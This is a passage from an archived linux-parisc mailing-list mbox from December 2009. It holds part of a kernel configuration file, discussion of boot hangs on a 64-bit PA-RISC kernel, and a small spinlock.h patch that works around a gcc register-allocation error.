# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_VST is not set
# CONFIG_USB_GADGET is not set

#
# OTG and related infrastructure
#
# CONFIG_NOP_USB_XCEIV is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
# CONFIG_RTC_DRV_DS1307 is not set
# CONFIG_RTC_DRV_DS1374 is not set
# CONFIG_RTC_DRV_DS1672 is not set
# CONFIG_RTC_DRV_MAX6900 is not set
# CONFIG_RTC_DRV_RS5C372 is not set
# CONFIG_RTC_DRV_ISL1208 is not set
# CONFIG_RTC_DRV_X1205 is not set
# CONFIG_RTC_DRV_PCF8563 is not set
# CONFIG_RTC_DRV_PCF8583 is not set
# CONFIG_RTC_DRV_M41T80 is not set
# CONFIG_RTC_DRV_S35390A is not set
# CONFIG_RTC_DRV_FM3130 is not set
# CONFIG_RTC_DRV_RX8581 is not set
# CONFIG_RTC_DRV_RX8025 is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set

#
# TI VLYNQ
#
# CONFIG_STAGING is not set

#
# File systems
#
CONFIG_EXT2_FS=y
# CONFIG_EXT2_FS_XATTR is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
# CONFIG_EXT3_FS_XATTR is not set
# CONFIG_EXT4_FS is not set
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
CONFIG_REISERFS_FS=y
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_REISERFS_FS_XATTR is not set
# CONFIG_JFS_FS is not set
# CONFIG_FS_POSIX_ACL is not set
# CONFIG_XFS_FS is not set
# CONFIG_OCFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
# CONFIG_DNOTIFY is not set
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
CONFIG_FUSE_FS=m
# CONFIG_CUSE is not set

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=m
CONFIG_MISC_FILESYSTEMS=y
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_SQUASHFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
# CONFIG_NETWORK_FILESYSTEMS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=m
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
CONFIG_NLS_ISO8859_15=m
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
CONFIG_NLS_UTF8=m
# CONFIG_DLM is not set

#
# Kernel hacking
#
CONFIG_PRINTK_TIME=y
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=0
CONFIG_MAGIC_SYSRQ=y
# CONFIG_STRIP_ASM_SYMS is not set
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
CONFIG_DETECT_SOFTLOCKUP=y
# CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0
CONFIG_DETECT_HUNG_TASK=y
# CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set
CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0
# CONFIG_SCHED_DEBUG is not set
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_DEBUG_SLAB is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
CONFIG_DEBUG_INFO=y
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_CPU_STALL_DETECTOR is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
CONFIG_SYSCTL_SYSCALL_CHECK=y
# CONFIG_PAGE_POISONING is not set
# CONFIG_DYNAMIC_DEBUG is not set
# CONFIG_SAMPLES is not set
# CONFIG_DEBUG_RODATA is not set

#
# Security options
#
# CONFIG_KEYS is not set
CONFIG_SECURITY=y
# CONFIG_SECURITYFS is not set
CONFIG_SECURITY_NETWORK=y
# CONFIG_SECURITY_PATH is not set
# CONFIG_SECURITY_FILE_CAPABILITIES is not set
# CONFIG_SECURITY_ROOTPLUG is not set
# CONFIG_SECURITY_TOMOYO is not set
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=m
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_GF128MUL is not set
# CONFIG_CRYPTO_NULL is not set
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
# CONFIG_CRYPTO_AUTHENC is not set
# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=y
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
CONFIG_CRYPTO_ECB=m
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
# CONFIG_CRYPTO_HMAC is not set
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
# CONFIG_CRYPTO_CRC32C is not set
# CONFIG_CRYPTO_GHASH is not set
# CONFIG_CRYPTO_MD4 is not set
# CONFIG_CRYPTO_MD5 is not set
CONFIG_CRYPTO_MICHAEL_MIC=m
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
# CONFIG_CRYPTO_SHA1 is not set
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=m
# CONFIG_CRYPTO_ANUBIS is not set
CONFIG_CRYPTO_ARC4=m
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
# CONFIG_CRYPTO_DES is not set
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
# CONFIG_CRYPTO_DEFLATE is not set
# CONFIG_CRYPTO_ZLIB is not set
# CONFIG_CRYPTO_LZO is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
# CONFIG_CRYPTO_HW is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_GENERIC_FIND_LAST_BIT=y
# CONFIG_CRC_CCITT is not set
# CONFIG_CRC16 is not set
CONFIG_CRC_T10DIF=y
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
# CONFIG_LIBCRC32C is not set
CONFIG_ZLIB_INFLATE=m
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_NLATTR=y
CONFIG_GENERIC_ATOMIC64=y

--fdj2RfSjLxBAspz7--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: my usual problem with 64bit kernel
Date: Tue, 8 Dec 2009 00:44:04 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20091207234404.GA5083@raptus.dandreoli.com>
References: <20091204172838.GA4551@raptus.dandreoli.com>
 <4B1959E2.1030700@gmx.de>
 <20091205083511.GA6559@raptus.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1260229590 31966 80.91.229.12 (7 Dec 2009 23:46:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Dec 2009 23:46:30 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 08 00:46:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NHnFW-0005Wm-Iq
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Dec 2009 00:44:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935309AbZLGXoF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Dec 2009 18:44:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S935318AbZLGXoF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 7 Dec 2009 18:44:05 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:39322 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S935309AbZLGXoE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Dec 2009 18:44:04 -0500
Original-Received: by ewy19 with SMTP id 19so66025ewy.1
        for <linux-parisc@vger.kernel.org>; Mon, 07 Dec 2009 15:44:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:subject
         :message-id:mail-followup-to:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=gaysgK6t5jLRFnndJhZ6vq0HFjhLPykwqDO9iRrqFpI=;
        b=Jcp2++WWhPHWfS1ksa3PwVX7ufX3socD95kIiYbh4ZEzX3i2JEvtNVJwtDbp/Mio8U
         hH6DyhcQpAnB49MRG9P3qtdlllNVNdGc1SFEyfSsu8+PAOp/HY7sGpFjDBb4rZmcuS16
         XJQ3FBaxCv7ZAq2wZm537605vP/StodjAq52U=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:message-id:mail-followup-to:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        b=dh7fcIzNF6H5sWxfs7q0HQr1G/pYMEZ4LkNTYHf1VcbAl7E+wFXlfEcig0uYHJ7tTM
         2aHV35JGHRKMI6A7sYfZX85Cn85z8vrRd835eRlJuKSfhf6L42sJV+VPd6CvQXn0tjIg
         dGQA2gZ3ZTPRp9lTIdstJwNywEfnwbdq3A9Zs=
Original-Received: by 10.216.86.16 with SMTP id v16mr226433wee.162.1260229449209;
        Mon, 07 Dec 2009 15:44:09 -0800 (PST)
Original-Received: from raptus.dandreoli.com (host158-49-dynamic.45-79-r.retail.telecomitalia.it [79.45.49.158])
        by mx.google.com with ESMTPS id t12sm14978372gvd.20.2009.12.07.15.44.06
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 07 Dec 2009 15:44:07 -0800 (PST)
Original-Received: by raptus.dandreoli.com (Postfix, from userid 1000)
	id 0CB2910E188; Tue,  8 Dec 2009 00:44:04 +0100 (CET)
Mail-Followup-To: linux-parisc@vger.kernel.org
Content-Disposition: inline
In-Reply-To: <20091205083511.GA6559@raptus.dandreoli.com>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2405
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2405>

On Sat, Dec 05, 2009 at 09:35:11AM +0100, Domenico Andreoli wrote:
> On Fri, Dec 04, 2009 at 07:50:10PM +0100, Helge Deller wrote:
> 
> > I just want to make sure, that you have more or less a correct kernel
> > configuration setup (.config)....
> 
> there is at least a configuration glitch which makes my kernel hang
> and the debian one continue in degraded mode. i attached also the
> configuration, just in case i forgot something important.

i found the configuration glitch, it is CONFIG_DEBUG_MUTEXES. if it is
set, 64bit hangs right after "Releasing cpu 1 now, hpa=...", otherwise
the 64bit boot continues with a "SMP: CPU:1 is stuck."

BTW, i found my previous report of this bug: http://lkml.org/lkml/2008/4/20/251

cheers,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't find a register in class 'R1_REGS' while reloading 'asm'
Date: Mon, 7 Dec 2009 20:26:26 -0500 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <20091208012627.1D22C4FE3@hiauly1.hia.nrc.ca>
References: <20091207223548.GA4515@raptus.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1260235597 13865 80.91.229.12 (8 Dec 2009 01:26:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Dec 2009 01:26:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: cavokz@gmail.com (Domenico Andreoli)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 08 02:26:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NHoqT-0003G1-B2
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Dec 2009 02:26:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965289AbZLHB0V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Dec 2009 20:26:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S965296AbZLHB0V
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 7 Dec 2009 20:26:21 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2304 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965289AbZLHB0V (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Dec 2009 20:26:21 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1D22C4FE3; Mon,  7 Dec 2009 20:26:27 -0500 (EST)
In-Reply-To: <20091207223548.GA4515@raptus.dandreoli.com> from "Domenico Andreoli" at Dec 7, 2009 11:35:48 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2406
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2406>

> is anybody able to reproduce it? configuration is attached.
> 
>   CC      kernel/signal.o
>   kernel/signal.c: In function 'copy_siginfo_to_user':
>   kernel/signal.c:2145: warning: cast from pointer to integer of different size
>   kernel/signal.c:2145: warning: cast from pointer to integer of different size
>   kernel/signal.c:2152: warning: cast from pointer to integer of different size
>   kernel/signal.c:2152: warning: cast from pointer to integer of different size
>   kernel/signal.c:2168: warning: cast from pointer to integer of different size
>   kernel/signal.c:2168: warning: cast from pointer to integer of different size
>   kernel/signal.c: In function 'do_sigaltstack':
>   kernel/signal.c:2489: warning: cast from pointer to integer of different size
>   kernel/signal.c:2489: warning: cast from pointer to integer of different size
>   kernel/signal.c: In function 'get_signal_to_deliver':
>   /home/cavok/devel/kernel/linux-2.6.git/arch/parisc/include/asm/spinlock.h:25: error: can't find a register in class 'R1_REGS' while reloading 'asm'
>   /home/cavok/devel/kernel/linux-2.6.git/arch/parisc/include/asm/spinlock.h:25: error: 'asm' operand has impossible constraints

I didn't get this error by just enabling SMP.

The asm at spinlock.h:25 doesn't directly use r1.  I think the only way
this might happen is 'a' is spilled to the stack at a very large offset
from the stack pointer.  The load of the offset may need r1.  There also
has to be some other code that has stolen r1 prior to the asm.

The register allocation and inlining in gcc various significantly from
one version.  So, a different gcc version might work better.  At least
one version of gcc seemed to want to nest asm's.

To debug, preprocessed source and exact gcc command line is needed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't find a register in class 'R1_REGS' while reloading 'asm'
Date: Mon, 7 Dec 2009 22:01:14 -0500
Organization: nrc.ca
Lines: 48
Approved: news@gmane.org
Message-ID: <20091208030114.GA12872@hiauly1.hia.nrc.ca>
References: <20091207223548.GA4515@raptus.dandreoli.com> <20091208012627.1D22C4FE3@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="AqsLC8rIMeq19msA"
X-Trace: ger.gmane.org 1260241285 25696 80.91.229.12 (8 Dec 2009 03:01:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Dec 2009 03:01:25 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Domenico Andreoli <cavokz@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 08 04:01:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NHqKE-0003xl-0Q
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Dec 2009 04:01:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754966AbZLHDBK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Dec 2009 22:01:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756282AbZLHDBK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 7 Dec 2009 22:01:10 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2309 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754966AbZLHDBJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Dec 2009 22:01:09 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8BBD14FE3; Mon,  7 Dec 2009 22:01:15 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20091208012627.1D22C4FE3@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2407
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2407>


--AqsLC8rIMeq19msA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Mon, 07 Dec 2009, John David Anglin wrote:

> > is anybody able to reproduce it? configuration is attached.

With your config, I get the same error.

I have attached a potential work around.  The basic idea is to force
'a' to a specific register to avoid the spill problem in reload.
It may be a bit risky to use 'r20' but there don't appear to be
any real calls in __raw_spin_is_locked.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--AqsLC8rIMeq19msA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="spinlock.h.d"

diff --git a/arch/parisc/include/asm/spinlock.h b/arch/parisc/include/asm/spinlock.h
index fae03e1..ce87e4b 100644
--- a/arch/parisc/include/asm/spinlock.h
+++ b/arch/parisc/include/asm/spinlock.h
@@ -18,10 +18,9 @@ static inline int __raw_spin_is_locked(raw_spinlock_t *x)
 static inline void __raw_spin_lock_flags(raw_spinlock_t *x,
 					 unsigned long flags)
 {
-	volatile unsigned int *a;
+	volatile register unsigned int *a asm ("r20") = __ldcw_align(x);
 
 	mb();
-	a = __ldcw_align(x);
 	while (__ldcw(a) == 0)
 		while (*a == 0)
 			if (flags & PSW_SM_I) {

--AqsLC8rIMeq19msA--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: my usual problem with 64bit kernel
Date: Thu, 10 Dec 2009 00:50:38 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20091209235038.GA12806@raptus.dandreoli.com>
References: <20091204172838.GA4551@raptus.dandreoli.com>
 <4B1959E2.1030700@gmx.de>
 <20091205083511.GA6559@raptus.dandreoli.com>
 <20091207234404.GA5083@raptus.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1260402653 14922 80.91.229.12 (9 Dec 2009 23:50:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Dec 2009 23:50:53 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 10 00:50:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
